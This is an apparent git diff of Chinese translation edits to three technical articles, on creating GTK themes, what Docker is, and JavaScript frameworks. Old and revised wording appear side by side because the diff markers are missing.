为 GTK 制作的主题无法用在基于 Qt 的应用上。QT 应用需要使用 Qt 主题
**主题存放位置**
主题可能会存储在“~/.themes”或者“/usr/share/themes”文件夹中。存放在“~/.themes”文件夹下的主题只有此 home 文件夹的所有者可以使用。而存放在“/usr/share/themes”文件夹下的全局主题可供所有用户使用。当执行 GTK 程序时,它会按照某种确定的顺序检查可用主题文件的列表。如果没有找到主题文件,它会尝试检查列表中的下一个文件。下述文字是 GTK3 程序检查时的顺序列表。
$XDG_CONFIG_HOME/gtk-3.0/gtk.css (另一写法 ~/.config/gtk-3.0/gtk.css
~/.themes/NAME/gtk-3.0/gtk.css
$datadir/share/themes/NAME/gtk-3.0/gtk.css (另一写法 /usr/share/themes/name/gtk-3.0/gtk.css
主题使用层叠样式表CSS来生成主题样式。这里的 CSS 和网站开发者在网页上使用的相同。然而不是引用 HTML 标签,而是引用 GTK 构件的专用标签。学习 CSS 对主题开发者来说很重要。
**注意:** ”NAME“是当前主题名称的占位符。
### 主题存放位置
如果有两个主题名字相同,那么存放在用户 home 文件夹(~/.themes里的主题会被使用。开发者测试存放在本地 home 文件夹的主题时可以好好的利用 GTK 的主题查找算法。
主题可能会存储在 `~/.themes` 或者 `/usr/share/themes` 文件夹中。存放在 `~/.themes` 文件夹下的主题只有此 home 文件夹的所有者可以使用。而存放在 `/usr/share/themes` 文件夹下的全局主题可供所有用户使用。当执行 GTK 程序时,它会按照某种确定的顺序检查可用主题文件的列表。如果没有找到主题文件,它会尝试检查列表中的下一个文件。下述文字是 GTK3 程序检查时的顺序列表。
1. `$XDG_CONFIG_HOME/gtk-3.0/gtk.css` (另一写法 `~/.config/gtk-3.0/gtk.css`
2. `~/.themes/NAME/gtk-3.0/gtk.css`
3. `$datadir/share/themes/NAME/gtk-3.0/gtk.css` (另一写法 `/usr/share/themes/name/gtk-3.0/gtk.css`
**注意:** “NAME”代表当前主题名称。
如果有两个主题名字相同,那么存放在用户 home 文件夹(`~/.themes`)里的主题会被优先使用。开发者可以利用这个 GTK 主题查找算法的优势来测试存放在本地 home 文件夹的主题。
### 主题引擎
**主题引擎**
主题引擎是软件的一部分,用来改变图形用户界面构件的外观。引擎通过解析主题文件来了解应当绘制多少种构件。有些引擎随着主题被开发出来。每种引擎都有优点和缺点,还有些引擎添加了某些特性和特色。
从默认软件源中可以获取很多主题引擎。Debian 系的 Linux 发行版可以执行“apt-get install gtk2-engines-murrine gtk2-engines-pixbuf gtk3-engines-unico”命令来安装三种不同的引擎。很多引擎同时支持 GTK2 和 GTK3。以下述短列表为例。
从默认软件源中可以获取很多主题引擎。Debian 系的 Linux 发行版可以执行 `apt-get install gtk2-engines-murrine gtk2-engines-pixbuf gtk3-engines-unico` 命令来安装三种不同的引擎。很多引擎同时支持 GTK2 和 GTK3。以下述列表为例
* gtk2-engines-aurora - Aurora GTK2 engine
* gtk2-engines-pixbuf - Pixbuf GTK2 engine
* gtk3-engines-oxygen - Engine port of the Oxygen widget style to GTK
* gtk3-engines-unico - Unico GTK3 engine
* gtk3-engines-xfce - GTK3 engine for Xfce
* gtk2-engines-aurora - Aurora GTK2 引擎
* gtk2-engines-pixbuf - Pixbuf GTK2 引擎
* gtk3-engines-oxygen - 将 Oxygen 组件风格移植 GTK 的引擎
* gtk3-engines-unico - Unico GTK3 引擎
* gtk3-engines-xfce - 用于 Xfce 的 GTK3 引擎
### 创作 GTK3 主题
**创作 GTK3 主题**
开发者创作 GTK3 主题时,或者从空文件着手,或者将已有的主题作为模板。从现存主题着手可能会对新手有帮助。比如,开发者可以把主题复制到用户的 home 文件夹,然后编辑这些文件。
GTK3 主题的通用格式是新建一个以主题名字命名的文件夹。然后新建一个名为“gtk-3.0”的子目录在子目录里新建一个名为“gtk.css”的文件。在文件“gtk.css“里,使用 CSS 代码写出主题的外观。为了测试将主题移动到 ~/.theme 里。使用新主题并在必要时进行改进。如果有需求,开发者可以添加额外的组件,使主题支持 GTK2OpenboxMetacityUnity等桌面环境。
GTK3 主题的通用格式是新建一个以主题名字命名的文件夹。然后新建一个名为 `gtk-3.0` 的子目录,在子目录里新建一个名为 `gtk.css` 的文件。在文件 `gtk.css` 里,使用 CSS 代码写出主题的外观。为了测试可以将主题移动到 `~/.theme` 里。使用新主题并在必要时进行改进。如果有需求,开发者可以添加额外的组件,使主题支持 GTK2、Openbox、Metacity、Unity 等桌面环境。
为了阐明如何创造主题,我们会学习”Ambiance“主题通常可以在 /usr/share/themes/Ambiance 找到它。此目录包含下面列出的子目录以及一个名为”index.theme“的文件。
为了阐明如何创造主题,我们会学习 Ambiance 主题,通常可以在 `/usr/share/themes/Ambiance` 找到它。此目录包含下面列出的子目录以及一个名为 `index.theme` 的文件。
* gtk-2.0
* gtk-3.0
* metacity-1
* unity
* gtk-2.0
* gtk-3.0
* metacity-1
* unity
“**index.theme**”含有元数据(比如主题的名字)和一些重要的配置(比如按钮的布局)。下面是”Ambiance“主题的”index.theme“文件内容。
`index.theme` 含有元数据(比如主题的名字)和一些重要的配置(比如按钮的布局)。下面是 Ambiance 主题的 `index.theme` 文件内容。
代码:
```
[Desktop Entry]
Type=X-GNOME-Metatheme
@ -64,9 +68,8 @@ ButtonLayout=close,minimize,maximize:
X-Ubuntu-UseOverlayScrollbars=true
```
”**gtk-2.0**“目录包括支持 GTK2 的文件比如文件”gtkrc“和文件夹”apps“。文件夹”apps“包括具体程序的 GTK 配置。文件”gtkrc“是 GTK2 部分的主要 CSS 文件。下面是 /usr/share/themes/Ambiance/gtk-2.0/apps/nautilus.rc 文件的内容。
`gtk-2.0` 目录包括支持 GTK2 的文件,比如文件 `gtkrc` 和文件夹 `apps`。文件夹 `apps` 包括具体程序的 GTK 配置。文件 `gtkrc` 是 GTK2 部分的主要 CSS 文件。下面是 `/usr/share/themes/Ambiance/gtk-2.0/apps/nautilus.rc` 文件的内容。
代码:
```
# ==============================================================================
# NAUTILUS SPECIFIC SETTINGS
@ -81,9 +84,8 @@ widget_class "*Nautilus*<GtkButton>" style "notebook_button"
widget_class "*Nautilus*<GtkButton>*<GtkLabel>" style "notebook_button"
```
”**gtk-3.0**“目录里是 GTK3 的文件。GTK3 使用”gtk.css“取代了"gtkrc",作为主文件。对于 Ambiance 主题,此文件有一行‘@import url("gtk-main.css");。”settings.ini“是重要的主题范围配置文件。GTK3 主题的”apps“目录和 GTK2 有同样的作用。”assets“目录里有单选按钮、多选框等的图像文件。下面是 /usr/share/themes/Ambiance/gtk-3.0/gtk-main.css 的内容。
`gtk-3.0` 目录里是 GTK3 的文件。GTK3 使用 `gtk.css` 取代了 `gtkrc` 作为主文件。对于 Ambiance 主题,此文件有一行 `@import url("gtk-main.css");`。`settings.ini` 包含重要的主题级配置。GTK3 主题的 `apps` 目录和 GTK2 有同样的作用。`assets` 目录里有单选按钮、多选框等的图像文件。下面是 `/usr/share/themes/Ambiance/gtk-3.0/gtk-main.css` 的内容。
代码:
```
/*default color scheme */
@define-color bg_color #f2f1f0;
@ -155,14 +157,14 @@ widget_class "*Nautilus*<GtkButton>*<GtkLabel>" style "notebook_button"
@import url("public-colors.css");
```
”**metacity-1**“文件夹含有 Metacity 窗口管理器按钮比如”关闭窗口“按钮的图像文件。此目录还有一个名为”metacity-theme-1.xml“的文件,包括了主题的元数据(像开发者的名字)和主题设计。然而,主题的 Metacity 部分使用 XML 文件而不是 CSS 文件。
`metacity-1` 文件夹含有 Metacity 窗口管理器按钮(比如“关闭窗口”按钮)的图像文件。此目录还有一个名为 `metacity-theme-1.xml` 的文件,包括了主题的元数据(像开发者的名字)和主题设计。然而,主题的 Metacity 部分使用 XML 文件而不是 CSS 文件。
”**unity**“文件夹含有 Unity 按钮使用的 SVG 文件。除了 SVG 文件,这里没有其他的文件。
`unity` 文件夹含有 Unity 按钮使用的 SVG 文件。除了 SVG 文件,这里没有其他的文件。
一些主题可能也会包含其他的目录。比如, Clearlooks-Phenix 主题有名为 `openbox-3``xfwm4` 的文件夹。`openbox-3` 文件夹仅有一个 `themerc` 文件,声明了主题配置和外观(下面有文件示例)。`xfwm4` 目录含有几个 xpm 文件、几个 png 图像文件(在 `png` 文件夹里)、一个 `README` 文件,还有个包含了主题配置的 `themerc` 文件(就像下面看到的那样)。
一些主题可能也会包含其他的目录。比如“Clearlooks-Phenix”主题有名为”**openbox-3**”和“**xfwm4**“的文件夹。”openbox-3“文件夹仅有一个”themerc“文件声明了主题配置和外观下面有文件示例。”xfwm4“目录含有几个 xpm 文件,几个 png 图像文件在”png“文件夹里一个”README“文件还有个包含了主题配置的”themerc“文件就像下面看到的那样
/usr/share/themes/Clearlooks-Phenix/xfwm4/themerc
代码:
```
# Clearlooks XFWM4 by Casey Kirsle
@ -182,7 +184,6 @@ title_vertical_offset_inactive=1
/usr/share/themes/Clearlooks-Phenix/openbox-3/themerc
代码:
```
!# Clearlooks-Evolving
!# Clearlooks as it evolves in gnome-git...
@ -349,16 +350,17 @@ osd.unhilight.bg.color: #BABDB6
osd.unhilight.bg.colorTo: #efefef
```
**测试主题**
在创作主题时,测试主题并且微调代码对得到想要的样子是很有帮助的。有相当的开发者想要用到”主题预览器“这样的工具呢。幸运的是,已经有了。
### 测试主题
* GTK+ Change Theme - 这个程序可以更改 GTK 主题开发者可以用它预览主题。这个程序由一个含有很多构件的窗口组成因此可以为主题提供一个完整的预览。要安装它只需输入命令”apt-get install gtk-chtheme“。
* GTK Theme Switch - 用户可以使用它轻松的更换用户主题。测试主题时确保打开了一些应用方便预览效果。要安装它只需输入命令”apt-get install gtk-theme-switch“然后在终端敲出”gtk-theme-switch2“即可运行。
* LXappearance - 它可以更换主题,图标以及字体。
* PyWF - 这是”The Widget Factory“的一个基于 Python 的可选组件。可以在[http://gtk-apps.org/content/show.php/PyTWF?content=102024][1]获取Pywf。
* The Widget Factory - 这是一个古老的 GTK 预览器。要安装它只需输入命令”apt-get install thewidgetfactory"然后在终端敲出“twf”即可运行。
在创作主题时,测试主题并且微调代码对得到想要的样子是很有帮助的。有相当的开发者想要用到“主题预览器”这样的工具。幸运的是,已经有了。
**主题下载**
* GTK+ Change Theme - 这个程序可以更改 GTK 主题,开发者可以用它预览主题。这个程序由一个含有很多构件的窗口组成,因此可以为主题提供一个完整的预览。要安装它,只需输入命令 `apt-get install gtk-chtheme`
* GTK Theme Switch - 用户可以使用它轻松地更换用户主题。测试主题时确保打开了一些应用,方便预览效果。要安装它,只需输入命令 `apt-get install gtk-theme-switch`,然后在终端敲出 `gtk-theme-switch2` 即可运行。
* LXappearance - 它可以更换主题,图标以及字体。
* PyWF - 这是基于 Python 开发的一个 The Widget Factory 的替代品。可以在 [http://gtk-apps.org/content/show.php/PyTWF?content=102024][1] 获取 PyWF。
* The Widget Factory - 这是一个古老的 GTK 预览器。要安装它,只需输入命令 `apt-get install thewidgetfactory`,然后在终端敲出 `twf` 即可运行。
### 主题下载
* Cinnamon - [http://gnome-look.org/index.php?xcontentmode=104][2]
* Compiz - [http://gnome-look.org/index.php?xcontentmode=102][3]
@ -370,7 +372,7 @@ osd.unhilight.bg.colorTo: #efefef
* Metacity - [http://gnome-look.org/index.php?xcontentmode=101][9]
* Ubuntu Themes - [http://www.ubuntuthemes.org/][10]
**延伸阅读**
### 延伸阅读
* Graphical User Interface (GUI) Reading Guide - [http://www.linux.org/threads/gui-reading-guide.6471/][11]
* GTK - [http://www.linux.org/threads/understanding-gtk.6291/][12]
@ -385,7 +387,7 @@ via: http://www.linux.org/threads/installing-obtaining-and-making-gtk-themes.846
作者:[DevynCJohnson][a]
译者:[fuowang](https://github.com/fuowang)
校对:[校对者ID](https://github.com/校对者ID)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出

View File

@ -3,31 +3,31 @@ Docker 是什么?
![](https://d3tdunqjn7n0wj.cloudfront.net/720x480/card-catalog-crop-c76cf2c8b4881e6662c4e9058367a874.jpg)
这是一段摘录,取自于 Karl Matthias 和 Sean P. Kane 撰写的书籍 [Docker: Up and Running][3]。其中或许包含一些其他资源的引用,您可以点击其中的链接
> 这是一篇摘录,取自于 Karl Matthias 和 Sean P. Kane 撰写的 [Docker 即学即用][3]。其中或许包含一些引用到本文中没有的内容,因为那些是整本书中的一部分
2013 年 3 月 15 日,在加利福尼亚州圣克拉拉召开的 Python 开发者大会上dotCloud 的创始人兼首席执行官 Solomon Hvkes 在一场仅五分钟的[微型演讲][4]中,首次提出了 Docker 这一概念。当时,仅约 40 人(除 dotCloud 内部人员)获得了使用 Docker 的机会。
这在之后的几周内,有关 Docker 的新闻铺天盖地。随后这个项目很快在 [Github][5] 上开源,任何人都可以下载它并为其做出贡献。在之后的几个月中,越来越多的业界人士开始听说 Docker 以及它是如何彻底地改变了软件开发,交付和运行的方式。一年之内Docker 的名字几乎无人不知无人不晓,但还是有很多人不太明白 Docker 究竟是什么,人们为何如此兴奋。
这在之后的几周内,有关 Docker 的新闻铺天盖地。随后这个项目很快在 [Github][5] 上开源,任何人都可以下载它并为其做出贡献。在之后的几个月中,越来越多的业界人士开始听说 Docker 以及它是如何彻底地改变了软件的开发、交付和运行的方式。一年之内Docker 的名字几乎无人不知无人不晓,但还是有很多人不太明白 Docker 究竟是什么,人们为何如此兴奋。
Docker 是一个工具,它致力于为任何应用程序创建易于分发的构建产物,将其部署到任何环境中,并简化敏捷软件组织的工作流程,降低响应速度
Docker 是一个工具,它致力于为任何应用程序创建分发版本而简化封装流程,将其部署到各种规模的环境中,并将敏捷软件组织的工作流程和响应流水化
### Docker 带来的希望
虽然表面上被视为一个虚拟化平台,但 Docker 远远不止如此。Docker 涉及的领域横跨了业界多个方面,包括 KVM, Xen, OpenStack, Mesos, Capistrano, Fabric, Ansible, Chef, Puppet, SaltStack 等技术。或许你已经发现了,在 Docker 的竞争产品列表中有一个值得一提的事儿。例如,大多数工程师不会说,虚拟化产品会和配置管理工具是竞争关系,但 Docker 和这两种技术都有点关系。前面列举的一些技术常常因其提高了工作效率而获得称赞,这就导致了大量的探讨。而现在 Docker 正处在这些过去十年间最广泛使用的技术之中
虽然表面上被视为一个虚拟化平台,但 Docker 远远不止如此。Docker 涉及的领域横跨了业界多个方面,包括 KVM、 Xen、 OpenStack、 Mesos、 Capistrano、 Fabric、 Ansible、 Chef、 Puppet、 SaltStack 等技术。或许你已经发现了,在 Docker 的竞争产品列表中有一些很值得关注。例如,大多数工程师都不会认为,虚拟化产品和配置管理工具是竞争关系,但 Docker 和这两种技术都有点关系。前面列举的一些技术常常因其提高了工作效率而获得称赞,这就导致了大量的探讨。而现在 Docker 正是这些过去十年间最广泛使用的技术之一
如果你要拿 Docker 分别与这些领域的卫冕冠军按照功能逐项比较,那么 Docker 看上去可能只是个一般的竞争对手。Docker 在某些领域表现的更好,但它带来的是一个跨越广泛的解决工作流程中众多挑战的功能集合。通过结合应用程序部署工具(如 Capistrano, Fabric的易用性和易于管理的虚拟化系统提供使工作流程自动化和业务流程易于实施的钩子Docker 提供了一个非常强大的功能集合。
如果你要拿 Docker 分别与这些领域的卫冕冠军按照功能逐项比较,那么 Docker 看上去可能只是个一般的竞争对手。Docker 在某些领域表现的更好,但它带来的是一个跨越广泛的解决工作流程中众多挑战的功能集合。通过将应用程序部署工具(如 Capistrano、 Fabric的易用性和虚拟化系统管理的易于性结合使工作流程自动化以及易于实施<ruby>编排<rt>orchestration</rt></ruby>Docker 提供了一个非常强大的功能集合。
大量的新技术来来去去,因此对这些新事物保持一定的怀疑总是好的。如果不深入研究,人们很容易误以为 Docker 只是另一种为开发者和运营团队解决一些具体问题的技术。如果只是把 Docker 看作一种虚拟化技术或者部署技术,这似乎并不能令人信服。不过 Docker 可比表面上看起来的强大得多。
大量的新技术来来去去,因此对这些新事物保持一定的怀疑总是好的。如果不深入研究,人们很容易误以为 Docker 只是另一种为开发者和运营团队解决一些具体问题的技术。如果把 Docker 单独看作一种虚拟化技术或者部署技术,它看起来并不引人注目。不过 Docker 可比表面上看起来的强大得多。
即使在小型团队中,团队内部的沟通和相处也往往是困难的。然而在我们生活的这个世界里,团队内部对于细节的沟通是迈向成功越来越不可或缺的因素。而一个能够降低沟通复杂性,协助开发更为强健软件的工具,无疑是一个巨大的成功。这正是 Docker 值得我们深入了解的原因。当然 Docker 也不是什么灵丹妙药,它的正确使用还需深思熟虑,不过 Docker 确实能够解决一些组织层面的现实问题,还能够帮助公司更好更快地发布软件。使用精心设计的 Docker 工作流程能够让技术团队更加和谐,为组织创造实实在在的收益。
那么,最让公司感到头疼的问题是什么呢?现如今,很难按照预期的速度发布软件,而随着公司从只有一两个开发人员成长到拥有若干开发团队的时候,发布新版本时的沟通负担将越来越重,难以管理。开发者不不去了解软件所处环境的复杂性,生产运营团队也需要不断地理解所发布软件的内部细节。通常这些都是不错的工作技能,因为它们有利于更好地从整体上理解发布环境,从而促进软件的鲁棒性设计。但是随着团队的壮大,需要掌握的技能也越来越多
那么,最让公司感到头疼的问题是什么呢?现如今,很难按照预期的速度发布软件,而随着公司从只有一两个开发人员成长到拥有若干开发团队的时候,发布新版本时的沟通负担将越来越重,难以管理。开发者不不去了解软件所处环境的复杂性,生产运营团队也需要不断地理解所发布软件的内部细节。这些通常都是不错的工作技能,因为它们有利于更好地从整体上理解发布环境,从而促进软件的鲁棒性设计。但是随着组织成长的加速,这些技能的拓展很困难
充分了解所用的环境细节往往需要团队之间大量的沟通,而这并不能直接为团队创造值。例如,为了发布版本1.2.1, 开发人员要求运维团队升级特定的库这个过程就降低了开发效率也没有为公司创造价值。如果开发人员能够直接升级他们所使的库然后编写代码测试新版本最后发布软件那么整个交付过程所用的时间将会明显缩短。如果运维人员无需与多个应用开发团队相协调就能够在宿主系统上升级软件那么效率将大大提高。Docker 有助于在软件层面建立一层隔离,从而减轻团队的沟通负担。
充分了解所用的环境细节往往需要团队之间大量的沟通,而这并不能直接为团队创造值。例如,为了发布版本 1.2.1、开发人员要求运维团队升级特定的库这个过程就降低了开发效率也没有为公司创造价值。如果开发人员能够直接升级他们所使的库然后编写代码测试新版本最后发布软件那么整个交付过程所用的时间将会明显缩短。如果运维人员无需与多个应用开发团队相协调就能够在宿主系统上升级软件那么效率将大大提高。Docker 有助于在软件层面建立一层隔离,从而减轻团队的沟通负担。
除了有助于解决沟通问题,在某种程度上 Docker 的软件架构还鼓励开发出更多精致的应用程序。这种架构哲学的核心是一次性的小型容器。在新版本部署的时候,会将旧版本应用的整个运行环境全部丢弃。在应用所处的环境中,任何东西的存在时间都不会超过应用程序本身。这是一个简单却影响深远的想法。这就意味着,应用程序不会意外地依赖于之前版本的遗留产物; 对应用的短暂调试和修改也不会存在于未来的版本中; 应用程序具有高度的可移植性,因为应用的所有状态要么直接包含于用于部署的构建产物中,且不可修改,要么存储于数据库、缓存或文件服务器等外部依赖中。
除了有助于解决沟通问题,在某种程度上 Docker 的软件架构还鼓励开发出更多健壮的应用程序。这种架构哲学的核心是一次性的小型容器。在新版本部署的时候,会将旧版本应用的整个运行环境全部丢弃。在应用所处的环境中,任何东西的存在时间都不会超过应用程序本身。这是一个简单却影响深远的想法。这就意味着,应用程序不会意外地依赖于之前版本的遗留产物;对应用的短暂调试和修改也不会存在于未来的版本中;应用程序具有高度的可移植性,因为应用的所有状态要么直接包含于部署物中,且不可修改,要么存储于数据库、缓存或文件服务器等外部依赖中。
因此,应用程序不仅具有更好的可扩展性,而且更加可靠。存储应用的容器实例数量的增减,对于前端网站的影响很小。事实证明,这种架构对于非 Docker 化的应用程序已然成功,但是 Docker 自身包含了这种架构方式,使得 Docker 化的应用程序始终遵循这些最佳实践,这也是一件好事。
因此,应用程序不仅具有更好的可扩展性,而且更加可靠。存储应用的容器实例数量的增减,对于前端网站的影响很小。事实证明,这种架构对于非 Docker 化的应用程序已然成功,但是 Docker 自身包含了这种架构方式,使得 Docker 化的应用程序始终遵循这些最佳实践,这也是一件好事。
### Docker 工作流程的好处
@ -35,60 +35,60 @@ Docker 是一个工具,它致力于为任何应用程序创建易于分发的
**使用开发人员已经掌握的技能打包软件**
> 许多公司为了管理各种工具来为它们的平台构建软件包,不得不提供一些软件发布和构建工程师的岗位。像 rpm, mock, dpkg 和 pbuilder 等工具使用起来并不容易,每一种工具都需要单独学习。而 Docker 则把你所有需要的东西全部打包起来,定义为一个文件。
> 许多公司为了管理各种工具来为它们支持的平台生成软件包,不得不提供一些软件发布和构建工程师的岗位。像 rpm、mock、 dpkg 和 pbuilder 等工具使用起来并不容易,每一种工具都需要单独学习。而 Docker 则把你所有需要的东西全部打包起来,定义为一个文件。
**使用标准化的镜像格式打包应用软件及其所需的文件系统**
> 过去,不仅需要打包应用程序,还需要包含一些依赖库和守护进程等。然而,我们永远不能百分之百地保证,软件运行的环境是完全一致的。这就使得软件的打包很难掌握,许多公司也不能可靠地完成这项工作。使用 Scientific Linux 的用户经常会试图部署一个来自社区的,仅在 Red Hat Linux 上经过测试的软件包,希望这个软件包足够接近他们的需求。如果使用 Dokcer 只需将应用程序和其所依赖的每个文件一起部署即可。Docker 的分层镜像使得这个过程更加高效,确保应用程序运行在预期的环境中。
> 过去,不仅需要打包应用程序,还需要包含一些依赖库和守护进程等。然而,我们永远不能百分之百地保证,软件运行的环境是完全一致的。这就使得软件的打包很难掌握,许多公司也不能可靠地完成这项工作。常有类似的事发生,使用 Scientific Linux 的用户试图部署一个来自社区的、仅在 Red Hat Linux 上经过测试的软件包,希望这个软件包足够接近他们的需求。如果使用 Dokcer只需将应用程序和其所依赖的每个文件一起部署即可。Docker 的分层镜像使得这个过程更加高效,确保应用程序运行在预期的环境中。
**测试打包好的构建产物并将其部署到运行任意系统的生产环境**
> 当开发者将更改提交到版本控制系统的时候,可以构建一个新的 Docker然后通过测试部署到生产环境整个过程中无需任何的重新编译和重新打包。
> 当开发者将更改提交到版本控制系统的时候,可以构建一个新的 Docker 镜像,然后通过测试,部署到生产环境,整个过程中无需任何的重新编译和重新打包。
**将应用软件从硬件中抽象出来,无需牺牲资源**
> 传统的企业级虚拟化解决方案,例如 VMware以消耗资源为代价在物理硬件和运行其上的应用软件之间建立抽象层。虚拟机管理程序和每一个虚拟机中运行的内核都要占用一定的硬件系统资源而这部分资源将不能够被宿主系统的应用程序使用。而容器仅仅是一个能够与 Linux 内核直接通信的进程,因此它可以使用更多的资源,直到系统资源耗尽或者配额达到上限为止。
Docker 出现之前Linux 容器技术已经存在了很多年Docker 使用的技术也不是全新的。但是这个独一无二的集强大架构和工作流程于一身的 Docker 要比各个技术加在一起还要强大的多。Docker 终于让已经存在了十余年的 Linux 容器走进了普通技术人员的生活中。Docker 让容器更加轻易地融入到公司现有的工作流程中。以上讨论到的问题是被很多人所关注的,以至于 Docker 项目的快速发展超出了所有人的合理预期。
Docker 出现之前Linux 容器技术已经存在了很多年Docker 使用的技术也不是全新的。但是这个独一无二的集强大架构和工作流程于一身的 Docker 要比各个技术加在一起还要强大的多。Docker 终于让已经存在了十余年的 Linux 容器走进了普通技术人员的生活中。Docker 让容器更加轻易地融入到公司现有的工作流程中。以上讨论到的问题已被很多人认可,以至于 Docker 项目的快速发展超出了所有人的合理预期。
Docker 发布的第一年,许多刚接触的新人惊讶地发现,尽管 Docker 还不能在生产环境中使用,但是来自 Docker 开源社区源源不断的提交,飞速推动着这个项目向前发展。随着时间的推移,这一速度似乎越来越快。现在 Docker 进入了 1.x 发布周期,稳定性好了,可以在生产环境中使用。因此,许多公司使用 Docker 来解决它们在应用程序交付过程中面对的棘手问题。
### Docker 不是什么
Docker 可以解决很多问题,这些问题是其他类型的传统工具专门解决的。那么 Docker 在功能上的广度就意味着它在特定的功能上缺乏深度。例如,一些组织认为,使用 Docker 之后可以完全摈弃配置管理工具,但 Docker 真正强大之处在于,它虽然能够取代某些传统的工具,但通常与它们是兼容的,甚至与它们结合使用还能增强更加自身的功能。下面将列举一些 Docker 还未能完全取代的工具,如果与它们结合起来使用,往往能取得更好的效果。
Docker 可以解决很多问题,这些问题是其他类型的传统工具专门解决的。那么 Docker 在功能上的广度就意味着它在特定的功能上缺乏深度。例如,一些组织认为,使用 Docker 之后可以完全摈弃配置管理工具,但 Docker 真正强大之处在于,它虽然能够取代某些传统的工具,但通常与它们是兼容的,甚至与它们结合使用还能增强自身的功能。下面将列举一些 Docker 还未能完全取代的工具,如果与它们结合起来使用,往往能取得更好的效果。
**企业级虚拟化平台VMware, KVM 等)**
**企业级虚拟化平台VMwareKVM 等)**
> 容器并不是传统意义上的虚拟机。虚拟机包含完整的操作系统,运行在宿主操作系统之上。虚拟化平台最大的优点是,一台宿主机上可以使用虚拟机运行多个完全不同的操作系统。而容器是和主机共用同一个内核,这就意味着容器使用更少的系统资源,但必须基于同一个底层操作系统(如 Linux
**云平台Openstack, CloudStack 等)**
**云平台OpenstackCloudStack 等)**
> 与企业级虚拟化平台一样容器和云平台的工作流程表面上有大量的相似之处。从传统意义上看二者都可以按需横向扩展。但是Docker 并不是云平台,它只能在预先安装 Docker 的宿主机中部署,运行和管理容器,并能创建新的宿主系统(实例),对象存储,数据块存储以及其他与云平台相关的资源。
**配置管理工具PuppetChef 等)**
**配置管理工具PuppetChef 等)**
> 尽管 Docker 能够显著提高一个组织管理应用程序及其依赖的能力但不能完全取代传统的配置管理工具。Dockerfile 文件用于定义一个容器构建时内容,但不能持续管理容器运行时的状态和 Docker 的宿主系统。
**部署框架CapistranoFabric等**
**部署框架CapistranoFabric等**
> Docker 通过创建自成一体的容器镜像,简化了应用程序在所有环境上的部署过程。这些用于部署的容器镜像封装了应用程序的全部依赖。然而 Docker 本身无法执行复杂的自动化部署任务。我们通常使用其他工具一起实现较大的工作流程自动化。
> Docker 通过创建自成一体的容器镜像,简化了应用程序在所有环境上的部署过程。这些用于部署的容器镜像封装了应用程序的全部依赖。然而 Docker 本身无法执行复杂的自动化部署任务。我们通常使用其他工具一起实现较大的工作流程自动化。
**工作负载管理工具MesosFleet等**
**工作负载管理工具MesosFleet等**
> Docker 服务器没有集群的概念。我们必须使用其他的业务流程工具(如 Docker 自己开发的 Swarm智能地协调多个 Docker 主机的任务,跟踪所有主机的状态及其资源使用情况,确保运行着足够的容器。
**虚拟化开发环境Vagrant等**
**虚拟化开发环境Vagrant 等)**
> 对开发者来说Vagrant 是一个虚拟机管理工具经常用来模拟与实际生产环境尽量一致的服务器软件栈。此外Vagrant 可以很容易地让 Mac OS X 和基于 Windows 的工作站运行 Linux 软件。由于 Docker 服务器只能运行在 Linux 上,于是它提供了一个名为 Boot2Docker 的工具允许开发人员在不同的平台上快速运行基于 Linux 的 Docker 容器。Boot2Docker 足以满足很多标准的 Docker 工作流程,但仍然无法支持 Docker Machine 和 Vagrant 的所有功能。
如果没有参考标准,很难理解 Docker 的作用。下一章我们将简要介绍,什么是 Docker它的目标使用场景以及 它的优势。
如果没有强有力的参考标准,很难理解 Docker 的作用。下一章我们将概览 Docker它是什么它的目标使用场景以及它的优势。
-----------------
作者简介:
#### [Karl Matthias][1]
Karl Matthias 曾在创业公司和世界 500 强企业中担任过开发人员,系统管理员和网络工程师。在德国和英国的初创公司工作了若干年后,他和家人回到了美国俄勒冈州波特兰,在 New Relic 公司担任首席网站可靠性工程师。业余时间,他会和他的两个女儿玩,用他那老式相机摄摄影,或者骑骑自行车。
Karl Matthias 曾在创业公司和世界 500 强企业中担任过开发人员,系统管理员和网络工程师。在德国和英国的初创公司工作了若干年后,他和家人回到了美国俄勒冈州波特兰,在 New Relic 公司担任首席网站可靠性工程师。业余时间,他会和他的两个女儿玩,用他那老式相机摄摄影,或者骑骑自行车。
#### [Sean Kane][2]
@ -98,8 +98,8 @@ Sean Kane 目前在 New Relic 公司的共享基础设施团队中担任首席
via: https://www.oreilly.com/learning/what-is-docker
作者:[Karl Matthias ][a],[Sean Kane][b]
译者:[译者ID](https://github.com/Cathon)
作者:[Karl Matthias][a],[Sean Kane][b]
译者:[Cathon](https://github.com/Cathon)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出

View File

@ -0,0 +1,130 @@
6 个值得好好学习的 JavaScript 框架
=====================
![值得好好学习的 6 个 JavaScript 框架](https://discoversdkcdn.azureedge.net/postscontent/products/java.png)
**常言道,条条大路通罗马,可是那一条适合我呢?** 由于用于构建前端页面等现代技术的出现JavaScript 在 Web 开发社区早已是如雷贯耳。通过在网页上编写几个函数并提供执行逻辑,可以很好的支持 HTML (主要是用于页面的 _表现_ 或者 _布局_)。如果没有 JavaScript那页面将没有任何 _交互特性_ 可言。
现在的框架和库的已经从蛮荒时代崛起了,很多老旧的技术纷纷开始将功能分离成模块。现在不再需要在整个核心语言中支持所有特性了,开发者允许所有用户创建库和框架来增强核心语言的功能。这样,语言的灵活性获得了了显著提高。
如果在已经在使用 **JavaScript** (以及 **JQuery**) 来支持 HTML那么你肯定知道开发和维护一个大型应用需要付出多大的努力以及编写多么复杂的代码而 JavaScript 框架可以帮助你快速的构建交互式 Web 应用 (包含单页面应用或者多页面应用)。
当一个新手开发者想要学习 JavaScript 时,他常常会被各种 JavaScript 框架所吸引,也幸亏有为数众多的社区,任何开发者都可以轻易地通过在线教程或者其他资源来学习。
但是,唉!多数的程序员都很难决定学习和使用哪一个框架。因此在本文中,我将为大家推荐 6 个值得好好学习的 JavaScript 框架。让我们开始吧。
### 1、AngularJS
![Angular](https://discoversdkcdn.azureedge.net/postscontent/products/AngularJS_logo.svg.png)
**(注:这是我个人最喜欢的框架)**
